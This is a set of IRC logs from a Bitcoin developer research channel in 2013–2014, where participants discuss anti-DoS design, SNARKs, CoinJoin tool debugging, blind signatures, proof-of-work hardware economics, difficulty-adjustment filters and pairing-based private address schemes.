20:21 < amiller> expected money payout anyway
20:21 < amiller> if the other party goes away you don't necessarily learn the result
20:21 < amiller> one of the parties i mean
20:22 < amiller> but who cares if he has already put in his money
20:22 < amiller> there's a sort of common problem in protocols like this where you show fairness is impossible
20:22 < amiller> suppose you *could* carry out the protocol fairly if someone doesn't send their message in time
20:23 < amiller> that means that last parties message is optional and he might as well not send it
20:23 < amiller> but then the second to last party's input must have mattered
20:23 < amiller> so you follow that back and either you already knew the outcome for the beginning, or someone's participation makes a difference whether it's fair or not
20:23 < amiller> and so the solution is to overcompensate
08:36 < iddo> hmm headers first is an optimization that isn't related to merkle datastruct (like MMR) for lite nodes, i think?
08:37 < sipa> not at all
08:37 < sipa> completely orthogonal
08:38 < iddo> ok, peter todd and amiller said yesterday that the MMR stuff can mitigate DoS that checkpoints currently protects against, i wonder why...
08:39 < sipa> checkpoints don't protect against a DoS, they are just there to make not-checking-all-signatures safe
08:40 < sipa> wait, no, they do protect against a dos by helpig the heuristics determine if an early block in the chain has a chance of beatig the total known PoW
08:40 < iddo> sipa: yes i mean what gmaxwell said: https://bitcointalk.org/index.php?topic=194078.msg2014204#msg2014204 (i.e. you ignore diff-1 at genesis because you already have a checkpoint)
08:41 < iddo> but then peter todd said that MMR can give this anti-DoS without checkpoints, and amiller said that the reason is that blocks have commitments to the UTXO set
08:42 < iddo> but i don't see why it helps, yet
08:43 < iddo> this is in the context of the new paper by Aviv Zohar, it seems that anti-DoS is easier with Bitcoin rules than his new rules, assuming that there are no checkpoints
08:45 < iddo> for example the most naive anti-DoS is for the Bitcoin node to have some quota and not accept more than certain amount of forks for each block, so if in the future it turns out that a competing fork is better then that node will need to ask peers for blocks that it rejected in the past
08:46 < iddo> but with the new paper, this naive anti-DoS doesn't work, i think
08:46 < iddo> (could cause netsplits that don't re-converge)
08:48 < iddo> and even if it can work with the new rules, the communication among nodes will be much greater i think
09:35 < petertodd> iddo: emphasis on *sum* tree - the MMR (or just merkle tree) lets you interactively query your peer to be sure the total sum work claimed makes sense. But yeah, even without the sum tree just working backwards from current best block is pretty good too.
09:49 < iddo> petertodd: trying to understand you... isn't that just a method to prove more efficiently that a competing fork has more weight?
09:50 < iddo> petertodd: what i don't understand, diff-1 PoW blocks are (relatively) easy to generate, what's the rule that will cause you to ignore them instead of DoS attack where you'd be bloating your local copy of the blockchain with them?
09:51 < iddo> (checkpoints do prevent this kind of DoS attack)
09:56 < iddo> it still seems to me that with Bitcoin rules to select the best chain we can have anti-DoS mechanisms (without checkpoints) against diff-1 orphans at genesis attack, while with Aviv Zohar's rules I'm not so sure
10:00 < iddo> but i'm still unclear why amiller and you said that such merkle trees remove the need for checkpoints, is it just in the context of bootstrapping new nodes without doing too much work verifying the entire history, or also in the context of anti-DoS ?
10:57 < amiller> iddo, well... you can do something like starting at SPV security and gradually validating the chain
11:05 < iddo> amiller: but not all nodes can do that, i think? the question is still whether full nodes should eliminate orphan branches or keep them, if they always eliminate then the communication can blowup?
11:07 < amiller> eventually eliminate them?
11:09 < iddo> yes i think that with Bitcoin it may be safe to eliminate old orphans (assuming no checkpoints), but with Aviv Zohar's rules, i'm not sure yet
11:09 < amiller> you may even think of it as an incentive thing, there's a tradeoff from an individuals point of view
11:09 < amiller> potentially keeping some orphans around will save on future bandwidth, but at the cost of storage now
11:10 < iddo> it's also not only about eliminating orphans that you already have, but also about rejecting new orphans, like the 1-diff at genesis attack
11:12 < iddo> with Bitcoin i think that it can be safe to reject short orphans (with small risk that you may need to request them later and waste communication), but with Aviv Zohar's rule, not sure..
12:14 < iddo> ok i summarized what i asked here, in the public thread: https://bitcointalk.org/index.php?topic=359582.msg3867074#msg3867074
12:19 < iddo> gmaxwell: with this new rule, you think that blocks need to point to all their ancestors only because of lite clients? full nodes can calculate the difficulty of a block without it having pointers to ancestors, i think?
12:20 < amiller> one question i've had is how you do efficient merging
12:20 < amiller> to make sure the same work doesn't show up in multiple places in the same tree
12:29 < iddo> amiller: btw if you can dig up #bitcoin-dev or mailing list link where you first proposed this rule, maybe they could reference you in this paper:) might be worthwhile, there's plan for followup paper too
12:38 < amiller> i send an email to the thread with the irc log from bitcoin-dev
12:39 < amiller> i wouldn't mind having an acknowledgement but i didn't develop the idea very far at all :p
12:39 < amiller> i'm really glad that someone is working on it.
12:42 < amiller> i also tried to emphasize that, it's not even that their idea isn't fine as is (we haven't argued super well that there *clearly is* a big dos attack), but that it's difficult to analyze that there are no dos attacks, so being conservative to include thing is understandable
12:43 < amiller> so if they really want to say there thing is practical and ready to implement, they should come up with some really compelling anti-dos analysis
12:44 < amiller> that's just my opinion though :o
12:46 < iddo> yes that's all true, probably difficult to analyse it in theory, trying simulations first is a good idea
14:32 < warren> gmaxwell: hm.... the previous thoughts about pruning included nodes having a random subset of the blockchain to serve to peers. that seems good, but that may have privacy issues?
14:32 < warren> gmaxwell: you can use that to identify nodes
14:34 < gmaxwell> You can use many things to distinguish nodes already. So what about it?
14:35 < gmaxwell> You propose instead forcing nodes to use tens of gigabytes of disk space if they want to contribute at all to distributed storage?
14:35 < warren> no
14:35 < gmaxwell> It doesn't connect transactions to anything.
14:36 < warren> are there ways to obscure the subset so it is less certainly a unique identifier
14:36 < gmaxwell> I never suggested a random subset that would be stupid, I always suggested contigious quantized ranges.
14:37 < gmaxwell> (stupid because it would take a lot more data to express than just a range or two)
14:38 < warren> ok
14:43 < sipa> and be a lot harder to make sure that a particular block is available
14:44 < sipa> in particular, you'd need O(n^2) nodes that serve the same n blocks with the same probability to get equal chance a particular block is available
14:45 < warren> when I connect to random bitcoin peers now, it seems that often many of the peers are useless, too slow or fake
14:45 < iddo> in the future we can have SCIP proofs for UTXO "checkpoints", so less need to serve old blocks
14:46 < warren> hmm key birthdates would help
14:57 < gmaxwell> iddo: perhaps, we need scip that doesn't need a trusted CRS.. and prover performance that at least makes it possible to run.
14:58 < gmaxwell> I don't know if we'll have that in 2 years, 5 years, or 10 years.
15:01 < iddo> proof size is logarithmic in num of computation steps (computation == verifying the history, maybe optimized by composing with prev SCIP checkpoints), the issue is how big are the constants of this log size proof....
15:01 < iddo> this is for the variant without CRS
15:08 < phantomcircuit> warren, you can already uniquely identify peers fairly reliably
15:08 < phantomcircuit> they give everybody the same version nonce iirc
15:49 < gmaxwell> iddo: well for checkpoints it can be rather large, eventually it will be small relative to the blockchain. :) But I worry about computing it just being infeasable. If it costs $1k in compute time thats doable, if it costs $1m in compute time thats right out.
15:56 < amiller> hrm, what should be the parts of a bitcoin gambling tool that plays through games of iddo's protocol?
15:57 < amiller> i am thinking it should be a self contained wallet
15:57 < amiller> because i would want to have some notion of 'sending coins to my gambling wallet' rather than integrating it with my personal bitcoind or something big like that
15:58 < amiller> really i would want this to be SPV something, it's not particularly supposed to provide bandwidth to anyone
16:05 < amiller> i guess i should study bitcoinj
16:33 < gmaxwell> iddo: I really wish people with implementations of snarks for C would release something... there are 'small' applications we could use the stuff for right away. Like proving ownership of a bitcoin without disclosing which bitcoin you own.
16:35 < sipa> i've been out for too long... how does snarks relate to scip?
16:37 < maaku> sipa: scip is snarks
16:37 < maaku> SNARKS is the general term
16:37 < maaku> SCIP is what Eli et al call their implementation of a SNARKS system
16:37 < maaku> gmaxwell: correct me if i'm wrong
16:39 < gmaxwell> sipa: SCIP is just what Eli et all call their SNARKS for C stuff.
16:40 < sipa> ok
16:40 < sipa> are they abbreviations of something?
16:40 < gmaxwell> SNARK = succinct argument of knowledge (sometimes zk-SNARK when its also zero knowledge). succinct ~meaning that its sublinear in the witness size, argument because they are only computationally sound, they're not a proof.
16:41 < gmaxwell> (there is some proof that you cannot produce a proof (perfectly sound) which is succinct, the best you can do is computationally sound)
16:43 < gwillen> gmaxwell: is there a 30-second explanation of what 'computationally sound' means in this context?
09:33 < michagogo|cloud> - We would like to remind you that unauthorised public logging of channels on the network is prohibited. Public channel logging should only take place where the channel owner(s) has requested this and users of the channel are all made aware (if you are publically logging your channel, you may wish to keep a notice in the topic and perhaps as an on-join
09:33 < michagogo|cloud> message).
09:33 < michagogo|cloud> (minus a few line breaks)
09:34 < andytoshi> yeah, i see it now
09:35 < andytoshi> i'll stop publishing the logs until i get an ack from someone
09:38 < michagogo|cloud> andytoshi: At the moment, it's not "someone", it's greg
09:39 < michagogo|cloud> (or jgarzik, if he decides that he wants to get freenode staff to op him in here)
09:53 < andytoshi> michagogo|cloud: did you get my message late last night, saying i fixed the donation address thing with the coinjoiner?
09:53 < andytoshi> http://testing.wpsoftware.net/coinjoin/sign.php?session=b3b098642a36f1aa62a333f5a15a6e98a04dfb7622e4eb3dd74f3d706f149d7b
09:53 < michagogo|cloud> I signed and submitted
09:54 < michagogo|cloud> (earlier, when I saw that)
09:55 < andytoshi> hmm, i'm pretty sure i did as well
09:55 < andytoshi> i re-submitted just in case, otherwise i've got a new bug :(
10:00 < michagogo|cloud> just resubmitted just in case
10:01 < andytoshi> thx
10:01 < andytoshi> it looks like all the signatures are in the database, if it's not working then there's a merging problem
10:11 < michagogo|cloud> andytoshi: any luck?
10:14 < andytoshi> michagogo|cloud: yeah, the outputs are subtly different for what i signed and what you signed
10:14 < andytoshi> like, the scriptpubkeys have slightly different hex
10:15 < andytoshi> but, the DB shouldn't have accepted any such discrepancies, so i'm not sure (a) how this could even happen or (b) how it got through the site's input filter
10:16 < andytoshi> i signed 76a9143312004af0b4d2323676e488ae6900c9cb3b38c888ac:10000000
10:16 < andytoshi> u signed 76a9148c04bfe5e2a91b609b92d4f7af6cadda9d1e47e088ac:10000000
10:16 < andytoshi> oh, those are actually completely different..
10:17 < andytoshi> what i wrote there is scriptPubKey:nValue
10:21 < andytoshi> ok, this is embarassing ... i changed the output of coinjoin a few days ago, and i updated the PHP code to check errors correctly when validating unsigned transactions
10:22 < andytoshi> but forgot to update the code which validted signed transactions
10:26 < andytosh1> you submitted a signed transaction that didn't match the one offered by the site (probably because you re-submitted your signed transaction from last time, but this is a new session so the inputs/outputs got reordered)
10:26 < michagogo|cloud> I did?
10:27 < andytosh1> it appears so, yeah
10:27 < andytosh1> one moment, i'll clear out the signed transactions from the db and we can both resubmit
10:27 < andytosh1> done
10:27 < andytosh1> oops, i have to put the seed one back :P
10:29 < andytosh1> ok, can you try again?
10:31 < michagogo|cloud> done
10:32 < michagogo|cloud> andytosh1: submitted
10:33 < andytosh1> thx, got yours
10:34 < andytosh1> seems like it did not get mine..
10:40 < andytosh1> ok, now the one that i submitted, bitcoind cannot decode :} but again, php is accepting it..
10:45 < andytoshi> awesome, it went through :) tx d08ed6edab38bbd80eb96739777b096ccc654f5a1c398baeeaa11355b6d75bd6
10:45 < andytoshi> thanks a ton for testing, i'm glad we had so much bad input
11:02 < jgarzik> hrm
11:03 < jgarzik> Has anyone worked on a script form that does "<multisig> AND <multisig>"?
11:03 < jgarzik> OP_AND is disabled
11:19 < nsh> HULK SPLIT!
11:24 < gmaxwell> jgarzik: works for true false, also you can do that with OP_IF, or with just two CHECKMULTISIG VERIFY in a row
13:01 < jgarzik> gmaxwell, I was thinking "if multisig then multisig else false endif". Two multisig in a row should work too...
17:33 < andytoshi> if i want to update my joiner to use blinded addresses, what user tools (if any) exist for this?
17:34 < andytoshi> if i write some, what papers should i read re implementing the crypto?
17:37 < nsh> andytoshi, what are blinded addresses?
17:37 < andytoshi> nsh: https://en.wikipedia.org/wiki/Blind_signature is a good overview
17:37 < nsh> chaum's blind sigs?
17:37 < andytoshi> yeah
17:37 < nsh> kk, reading
17:37 < gmaxwell> andytoshi: see maaku's git repo.
17:37 < andytoshi> cool, thx
17:38 < gmaxwell> (He implemented RSA blind signatures for this stuff)
17:45 < andytoshi> he has, for example, in the function _pad_message "REVIEW: I need a professional cryptographer...Does it matter in this particular applicaiton if the padding is deterministic instead of random?"
17:45 < andytoshi> if there are any professional cryptographers on here, i am curious too :)
18:25 < maaku> i asked that of gmaxwell iirc, and no it doesn't matter
18:25 < maaku> but also, it doesn't matter if it is deterministic or not
18:25 < maaku> the protocol changed a bit since I wrote that
18:40 < nsh> maaku, issue that springs to mind is that blind signing is insecure if the keys are also used to encrypt, which is generally not (so far, to my knowledge) the case with bitcoin privkeys, but worthy of consideration nevertheless
18:41 < maaku> coinjoin keys are ephemeral RSA keys used for that join only
18:41 < nsh> ah
18:42 < maaku> although I would prefer schnorr ec blind signatures using one of djb's curves, if someone went through the trouble of working out how to do that
18:43 < maaku> but yeah, throwaway keys on a different curve, so not much danger of that
18:43 * nsh nods
18:43 < maaku> i just wasn't sure if deterministic padding weakened the signature or otherwise led to any sort of attack
18:44 < gmaxwell> maaku: funny, I was going to make a comment to that effect; "if you feel like implementing something, blind schnorr would probably be better"
18:44 * nsh reads http://blog.cryptographyengineering.com/p/note-on-blind-signature-schemes.html
18:46 < maaku> all the pieces are there, I think, but I wouldn't trust myself to put them together
18:46 < maaku> I'm an informed user of crypographic systems, not an experienced practitioner of the art
18:47 < maaku> but RSA is hard to f@&# up
18:48 < gmaxwell> Hm? ha. Thats exactly the opposite of my view.
18:48 < jrmithdobbs> rsa is pretty easy to fuckup
18:48 < gmaxwell> RSA is pretty easy to F^$%# up and EC systems tend to be harder
18:48 < jrmithdobbs> especially if you have to write it for multiple different hw platforms or runtime environments
18:48 < gmaxwell> "Oh you thought you were signing? HAH No. You were decrypting things for me. Sucks to be you!"
18:48 < maaku> i meant not implement correctly -- fewer moving parts with rsa
18:48 < jrmithdobbs> ya
18:49 < jrmithdobbs> that ya was to gmaxwell's comment
18:50 < jrmithdobbs> maaku: a lot of the errors you can make implementing rsa are less immediately obvious but more completely destructive to the security of your protocol/use
18:50 < maaku> jrmithdobbs: i'm aware
18:50 < gmaxwell> maaku: well fair enough, though once you have the primitives already
18:50 < andytoshi> i'd be interested in looking at schnorr signatures, i've got a few papers about them backlogged
18:52 < maaku> gmaxwell: yeah that's what i'm saying - i don't trust myself to modify djb's sources to do schnorr blind sig and trust that it actually *is* correct signature primatives
18:53 < maaku> but if someone where to write that, it'd be easier and safer to integrate into coinjoin implementations (and faster, and higher secuirty level .. really no downsides)
18:54 < gmaxwell> maaku: well I believe that no changes are required in the validator, so that should help gain confidence that its correct.
18:55 < gmaxwell> e.g. it should just need a blind/unblind/and blindsign function (and the latter only because the normal signing functions do the hash internally).. and the result should be verifyable with an unmodified code.
19:02 < adam3us> maaku: i might be persuaded to try that (EdDSA ==EC Schnorr blind sig)
--- Log closed Tue Dec 17 00:00:02 2013
--- Log opened Tue Dec 17 00:00:02 2013
00:20 < gmaxwell> ugh. https://bitcointalk.org/index.php?topic=374085.0
00:22 < Luke-Jr> gmaxwell: well, Gavin did encourage it in his blog
00:24 < gmaxwell> mostly ugging at advocating it for "Logins to websites without passwords" and "pseudonyms" where encryption is entirely the wrong tool, and the requirement to have 'spent' from it is completely unnecessary because signmessage already does those things, and a lesser ugh at the address reuse that implies.
00:25 < gmaxwell> it's also probably only about 50 lines of code, just seems weird to me to see people making annoucements for such small things.
00:25 < Luke-Jr> I was ugging at the data-in-bitcoin-blockchain :P
00:26 < gmaxwell> they aren't putting any data in the blockchain yet.
00:27 < gmaxwell> all they're doing is using blockchain.info as a addr to pubkey service and doing encrypted messages using ECDH with that pubkey.
00:27 < Luke-Jr> O.o
00:29 < gmaxwell> Luke-Jr: mind giving a polite response on the loging / identity points pointing out that doing that via signmessage is already a widely established practice, doesn't require making transactions, carrying around the public key explicitly, or consulting (centeralized) databases?
00:31 < Luke-Jr> gmaxwell: well, this claims to be the inverse?
00:32 < Luke-Jr> oh, you mean just respond to that point
00:33 < gmaxwell> yea. I don't see any reason why you'd use something based on this over signmessage, but there may be people who see this post (even the author) who is unaware of signmessage.
00:35 < andytoshi> istr altoz being around for a long time, he should be aware of these things..
00:36 < Luke-Jr> gmaxwell: http://bitcointroll.org/?topic=374085.msg4004568#msg4004568
00:37 < gmaxwell> Thanks.
17:14 < jtimon> gmaxwell: interesting prediction, but you've said two options, so that's my point, we can't predict the future of hardware, what architecture are we anti-optimizing against?
17:15 < sipa> i'm not sure it matters
17:15 < jtimon> yeah gmaxwell xmm mmx
17:15 < gmaxwell> jtimon: we? I think it's all stupid regardless. :)
17:16 < gmaxwell> as I said, I don't think arch targeting can prevent there being at least a small constant improvement from dedicated implementations. Since mining is ~near perfect competition that small factor is enough to generally exclude the non-specialized stuff regardless.
17:16 < gmaxwell> And so simple circuits like SHA256 at least improve equality of access.. anyone can design a sha256 asic which is pretty competative, (well if not actually fabricate it themselves)
17:17 < gmaxwell> vs if you really did build something that required AMD scale engineering, then you'd much more likely have a hardware monopoly or near so.
17:17 < gmaxwell> simple fast circuits also have fast verification, which is very helpful too.
17:18 < jtimon> ok, so I see you have even more reasons than me against the "quest for the perfect mining function"
17:19 < gmaxwell> I think that like a lot of things in engineering you can only optimize so far and then its all just messy tradeoffs.
17:19 < sipa> heh, maybe we need an altcoin optimized for ASICs
17:20 < gmaxwell> DES POW.
17:20 < sipa> where the PoW function is has a trivial optimal circuit design
17:20 < jtimon> targeting GPU-friendly but ASIC-hard is specially odd for me since 1) as you said the later doesn't really exists 2) GPUs are already a market with concentrated production (the problem suppesedly solved by "hardness")
17:20 < jtimon> sipa there's one alt named ASICcoin
17:21 < gmaxwell> DES sboxes make for trivial combinitoric logic, it's much slower on current cpus/gpus than it is in direct hardware all other things equal.
17:22 < gmaxwell> the sha256 circuit is really straight forward already. You can get some gains by careful staging to equalize latencies...
17:33 < andytoshi> i have a crazy idea (involving nonexistant crypto) for a research pathway to a SNARK without forge-enabling keying material: http://download.wpsoftware.net/bitcoin/wizardry/public-fhe.pdf
17:34 < andytoshi> throwing it out here because there's probably something obviously dumb about it, and you guys are good at catching that stuff
17:58 < gwern> http://www.reddit.com/r/ethereum/comments/1vh94e/dagger_updates/
18:30 < jtimon> how "computer hardware" is not "theoretical computer science"?
18:32 < jtimon> oh, not experts in hardware, I missread
21:56 < gmaxwell> There was a puzzle in the MIT mystery hunt that some folks here would like solving.
21:57 < gmaxwell> oh. crud. I guess I can't post it until after the hunt is over, so forget the last line for three days.
23:38 < jcrubino> is it possible to have an address that is both a valid litecoin and bitcoin address?
--- Log closed Sat Jan 18 00:00:29 2014
--- Log opened Sat Jan 18 00:00:29 2014
00:02 < Taek42> gmaxwell what do you do for a living?
00:02 < phantomcircuit> Taek42, he works at mozilla doing stuff and things
02:24 < justanotheruser> jcrubino: no simply because of the fact that litecoins version number starts is L, not 1
02:38 < jcrubino> justanotheruser: I have a testnet address that passes validation tests by both daemon clients
02:39 < justanotheruser> jcrubino: Hmm. I suppose if both daemons ignore the version it could be valid
02:40 < brisque> justanotheruser: I explained in #bitcoin-dev that you can use the same public keys, just the address reads differently.
02:40 < jcrubino> I chaes my tail in circles while unit testing over that
02:40 < justanotheruser> what character does the testnet address start with
02:40 < brisque> m or n
02:40 < brisque> ;;bc,wiki address prefixes
02:40 < gribble> https://en.bitcoin.it/wiki/List_of_address_prefixes | Dec 25, 2013 ... The encoding includes a version byte, which affects the first character in the address. The following is a list of some prefixes which are in use.
02:40 < justanotheruser> brisque: I meant for litecoin
02:40 < brisque> does litecoin have a testnet?
02:40 < jcrubino> yes
02:41 < justanotheruser> brisque: yes, but I figured it would would be valid for the bitcoin daemon considering the daemon might consider the version number bad
02:42 < brisque> if the testnet prefix is the same it'll work with no problem
02:42 < jcrubino> assumming I change out the address prefix in bitcoind to the litecoin version what else needs to change to make it litecoind ?
02:42 < justanotheruser> jcrubino: ultimately you can have a public key hash that is valid for both bitcoin and litecoin. An address is just a conversion to base 58 with a version number
02:42 < brisque> jcrubino: mainly just the POW system and the logo.
02:43 < jcrubino> does a non mining daemon verify the pow or does it just relay ?
02:45 < brisque> ever node validates the POW of every block
13:21 < justanotheruser> If it is possible to have a PoW that only has a maximum of like 5% improvement from CPU to ASIC, is that beneficial?
13:27 < nsh> justanotheruser, in general, no.
13:31 < maaku> justanotheruser: the best you could probably do is several multiples, maybe an order of magnitude
13:46 < justanotheruser> maaku: eh, I disagree. If the hashing function takes up a lot of code and uses many different RISC instructions, then you could use an ASIC, but it would might prohibitively expensive because you have to have so much circuitry to have the hash function implemented.
13:46 < justanotheruser> s/takes up a/uses a
13:48 * nsh frowns
14:03 < adam3us> justanotheruser: the hashing function would have to be very dynamically dependent on the instructins, or it can be special cased; even then someone can make the minimal unrolled cpu strip out everything else and put that circuity down redundancy as many times as it will fit. i think inevitably almost, hw wins, by a decent margin
14:06 < adam3us> maybe another direction is a FPGA friendly design, and hope ASIC/FPGA advantage will narrow as a trend.
14:06 < justanotheruser> adam3us: Yeah dynamically dependent instructions would be better. If you made it use all instructions, and it involved storing data in the registers, etc wouldn't the ASICs essentially be effecient CPUs?
14:07 < gmaxwell> why does this pow wanking keep going on here?
14:07 < gmaxwell> I can't imagine a less interesting subject.
14:07 < gmaxwell> Does anyone here even care about it?
14:07 < adam3us> potentially. however its a bit of a weird cpu. it doesnt mind the input being a counter, and 99.99999% of the outputs are thrown away
14:08 < justanotheruser> adam3us: maybe the PoW could require all the outputs.
14:09 < justanotheruser> One problem I see with this is verification taking a long time
14:09 < andytoshi> gmaxwell: +1, guys we had a long long discussion about this yesterday and completely overwhelmed my ability to follow the entire -wizards scrollback
14:09 < gmaxwell> I just don't even understand why it's being discussed, since I don't think anyone here even thinks its actually all that important.
14:10 < gmaxwell> (though maybe my tolerance is limited because I'm only looking in here once/twice a day because I'm busy elsewhere right now)
14:10 < justanotheruser> gmaxwell: It seems one of your altcoin ideas linked in the topic involves a modified PoW
14:10 < adam3us> maybe we need a #bitcoin-pow-wankery ;)
14:11 < gmaxwell> justanotheruser: I specfically avoided this kind of BS on that list. All the 'modified pow' there were achieving some other purpose than architectural overoptimization.
14:11 < adam3us> justanotheruser: many of the alts sole 'hook' (aka fake argument for existence/sales pitch) is a different pow for "decentralization"
14:12 < gmaxwell> I think there is no end to what you can discuss in that space, and the arguements that its a useful tradeoff are very hard to make a clear argument for.
14:12 < gmaxwell> It's just the kind of superficial thing that people can discuss forever. e.g. "random POW generator"
14:12 < justanotheruser> adam3us: I agree it doesn't save electricity or anything like that. People just end up spending money on the hardware instead of the electricity.
14:13 < adam3us> justanotheruser: so at a high level, it would not have to be so slow to verify just because it depends on the dynamic execution of a randomly generated machine code I think
14:13 < adam3us> justanotheruser: seems to me asic-hardness ends up using more electricity typically
14:15 < jtimon> justanotheruser when your ASIC competitors are doing 4% profits, will you mine at -1%?
14:16 < justanotheruser> jtimon: ASICs probably wouldn't give them 4% profits because they would have to buy new hardware
14:16 < adam3us> but its probably more fruitful towards decentralization to try find ways to put diseconomies of scale into the protocol somehow or make bitcoin less vulnerable to 25/33/50% attack, selfish mining and policy/censorship with any level of centralization, then maybe we dont even care
14:16 < justanotheruser> The ops here seem to want us to change the topic though.
14:16 < jtimon> profits = gains after all costs, including capital costs
14:17 < justanotheruser> jtimon: I don't understand why you defined profits. It doesn't really change anything about what I said.
14:18 < adam3us> as i recall no one found a good answer to the 25/33% attack, and ghash is at 34% now coincidentally
14:19 < justanotheruser> adam3us: what's the 25/33% attack? Just them being able do a large reorg some of the time?
14:19 < gmaxwell> it's the argument that pow-wanking for foo-hardness is irrelevant becausing the perfect competition of mining will drive even marginally less efficient out of business. You can debate how much slop there is... but whever you decide it won't be a huge amount.
19:50 < jtimon> I'm not saying it's not a difficult problem, I'm saying you can model the filter with against random curves without modeling any mining economics
19:51 < gmaxwell> No you can't. A filter with overshoot behaves very differently in a non-linear system than does one which is critically damped.
19:51 < jtimon> there could be an earthquake destroying 40% of the hashrate and you should be preapared as well
19:51 < phantomcircuit> gmaxwell, is there a cap on how large the change in difficult can be for any one period? (either up or down) ?
19:51 < gmaxwell> What I'm pointing out is that some filters can actually cause system failure under some mining economics models.
19:51 < gmaxwell> phantomcircuit: yes, 4x.
19:51 < phantomcircuit> oh
19:51 < gmaxwell> (in both directions)
19:52 < phantomcircuit> so that's effectively only relevant for down
19:52 < jtimon> gmaxwell I think all filters could fail under certain conditions
19:52 < gmaxwell> the box filter is probably unconditionally safe.
19:52 < jtimon> you must chose the conditions you're not prepared for
19:52 < gmaxwell> jtimon: forget "prepared", I'm pointing out that some designs can fail when nothing changes or goes wrong.
19:54 < gmaxwell> In an enviroment where miners turn off when not profitable and turn on when profitable, a design that has overshoot can drive the system into instability. miners turn on, diff goes up, but it goes up too much and then even more miners turn off. then when it goes down it goes down by too much and more miners turn on, and each swing a great portion of the
hashrate is being pulled into the oscillation.
19:54 < jtimon> I haven't studied any of the filters so I believe a box filter could be better and there's designs that can failt with a constant hashrate
19:54 < midnightmagic> keynesian beauty contest to the rescue?
19:54 < midnightmagic> :-)
19:54 < jtimon> but when's the point in chosing those?
19:55 < gmaxwell> jtimon: I think the design in freicoin is one that can fail with constant hashrate!
19:55 < jtimon> gmaxwell you can also manually change diff with a hardfork
19:55 < gmaxwell> (it has a pretty substantial overshoot)
19:56 < jtimon> oh, I see
19:56 < jtimon> I didn't know
19:56 < gmaxwell> jtimon: which is part of the reason that worrying about black swans is probably a waste of time, esp if the result is something thats riskier.
19:56 < jtimon> like most times, it's a tradeoff
20:00 < jtimon> in any case, maybe you're right that a less "responsive" filter is better long term, with a mature market without so much subsidy
20:01 < jtimon> but in this case (allowing bitcoin asic miners to come and go, but not to mine both at the same time) we desperately needed something more prepared for wild swings
20:03 < gmaxwell> my complaint there is not about responsive.
20:05 < maaku_> gmaxwell: the overshoot is not that substantial
20:05 < maaku_> the prarameters themselves are slightly underdamped
20:05 < maaku_> and the overshoot comes from the 144-block window
20:06 < gmaxwell> maaku_: Hm. from the FIR filter I saw you using before it could be as high as 20%, IIRC though perhaps it got changed?
20:06 < maaku_> so with big square-wave changes, it takes a dozen or more blocks to react
20:06 < maaku_> no, it hasn't changed.
20:07 < maaku_> i just have a different opinion of those numbers - overshooting by 20% when someone is toggling an order of magnitude more hash power than your entire network is pretty good, imho
20:07 < maaku_> we were <1Th/s, and getting hit by 10Th/s chain hoppers
20:10 < gmaxwell> thats not what overshoot means, thats called group delay when it takes a long time to react at all.
20:11 < gmaxwell> Overshoot is when it does react that it can react more than the change.
20:12 < maaku_> yes, well you want a little bit of that
20:12 < maaku_> you want it to be underdamped, slightly
22:37 < justanotheruser1> How many inputs and how many outputs can be in a transaction? Is there a limit on this other than 1mb?
--- Log closed Sat Jan 25 00:00:57 2014
--- Log opened Sat Jan 25 00:00:57 2014
01:31 < maaku_> justanotheruser: 18,446,744,073,709,551,615
01:31 < maaku_> you hit the 1mb limit long before then, however
03:07 < adam3us1> so i think i found a way to (network) efficiently and securely do SPV for single use addresses. now that i thought about it I dont see why i didnt see it before as it an application of NIFS which i described up as a problem statement of in 1996, and found a mechanism for in 1998 (novel use of IBE) and Boneh found a more efficient building block for in 2001 (the weil pairing)
03:08 < adam3us1> NIFS http://www.cypherspace.org/adam/nifs/
03:10 < adam3us1> it was thought up to provide forward secrecy for email where there is no interactive communication. read that. its basically like a public derivation variant of HD wallet concept but where anyone can be after the fact given a private key
03:17 < adam3us1> hmm maybe not ... gotta think more about this (just woke up:) i am thinking weil pairing gives the extra flexibiliy so you can have someone derive a public encryption key for you from a reusable encryption pub key and the previous block number, then do a derivation from the reusable address with a random factor by sender, encrypt factor with the derived
pub enc key, and then afterwards you can derive the corresponding private dec key and s
03:18 < adam3us1> and therefore the query (the private key) could be unique to the block only, obviously very compact, useless for correlating with other blocks, and non-interactive
03:20 < gmaxwell> well, we can do what tor is looking to do with hidden services but its not blind to someone who knows your address.
03:21 < gmaxwell> hm. interesting yea okay
03:22 < adam3us1> yes ok i think brain woke up, its not NIFS its a diff problem statement a variant without the forward-secrecy as you need random lookup in the tag space, and to be able to safely send people the private key
03:22 < gmaxwell> so how about this: take the reusable address scheme, but make the ECDH pubkey be pubkey + H(blocknumber)*G
03:23 < gmaxwell> the problem there is that it has the private key unzip attack that BIP32 has.
03:23 < adam3us1> gmaxwell: basically each user is their own IBE server, they publish the IBE params as their reusable public address
03:23 < gmaxwell> yea, I don't think this is doable without pairing
the EC addition way to do it has the unzip attack.
03:23 < adam3us1> gmaxwell: so with IBE your identity is your key, so encrypt with the pub key derived from the previous block hash as "identity"
03:24 < adam3us1> gmaxwell: then do the normal sender choose rndom factor, encrypt factor with the derived pub key, ten to delegate a per block decrypt capability, you send the node the corresponding private key that you derive using your IBE private key.
03:24 < adam3us1> gmaxwell: agreed
03:25 < gmaxwell> then again the pairing is only needed for recognition, so it could be employed here. it would allow you to produce unique per block recognition keys. Someone you gave your reconigition private keys to could only reconize your transactions that used those keys.
03:25 < adam3us1> gmaxwell: unfortunately that lets weil-pairing crypto into the tent
03:25 < gmaxwell> But its only for privacy, I'm okay with that, but it's an implementation barrier.
03:25 < adam3us1> gmaxwell: yes.
03:26 < gmaxwell> (IMO thats how we should be using pairing in cryptosystems: for lower value applications, and solving things that can't be solved any other way)
03:26 < adam3us1> gmaxwell: well its a start, a proof of concept that its possible. petertodd started to think it maybe provably not, but that seemed wrong to me, and its a good thing he asked the q of can u prove it not, cos it triggered me to think in the other direction :)
03:27 < adam3us1> gmaxwell: yeah, if it has a sane failure mode. there maybe ways to contain the failure a bit with normal mechansims eg a few IBE keys or such
03:28 < adam3us1> gmaxwell: also i think IBE is technically overkill we dont really need a comm channel, that is a side effect of the previous mechanism. so we may be able to do better.
03:29 < adam3us1> gmaxwell: we just want a per block discriminant private key, we dont actually need to allow the node to decrypt something, it can give it to the SPV node and it can decrypt it, itself
03:29 < gmaxwell> well really what we want is a BIP32 like derivation which doesn't have the unzip attack.
03:29 < adam3us1> gmaxwell: exactly.
